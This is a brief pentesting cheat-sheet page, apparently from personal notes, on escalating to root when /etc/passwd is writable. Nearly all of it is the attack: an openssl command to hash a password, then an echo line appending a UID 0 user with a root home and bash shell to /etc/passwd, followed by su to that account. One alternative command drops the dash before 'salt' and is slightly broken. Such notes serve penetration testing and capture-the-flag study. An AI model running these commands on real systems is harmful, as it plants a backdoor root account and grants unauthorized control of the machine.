# Writable Passwd

![](https://3418038199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyTPWZkKJbJfX8uHiRzmn%2Fuploads%2FhPdrzpwfK2dWEvnFeg0B%2F2022-08-08_14-53.png?alt=media\&token=e2a96805-9e63-4805-8069-d54a25ddcc60)

This is basically GGs.&#x20;

If we see this we can run the following command and then we able to switch users.&#x20;

```
#####GENERATE PASSWD LINE#####

openssl passwd -1 -salt password password 
Then copy that into this 

echo 'lyethar:$1$password$Da2mWXlxe6J7jtww12SNG/:0:0:lyethar:/root:/bin/bash' >> /etc/passwd


We could also do it like this 
openssl passwd -1 salt lyethar pass123
just copy it in the same way that i did but instead of password it will be pass123
```

Once we echo the following line we just simply `su lyethar` and input `password`.
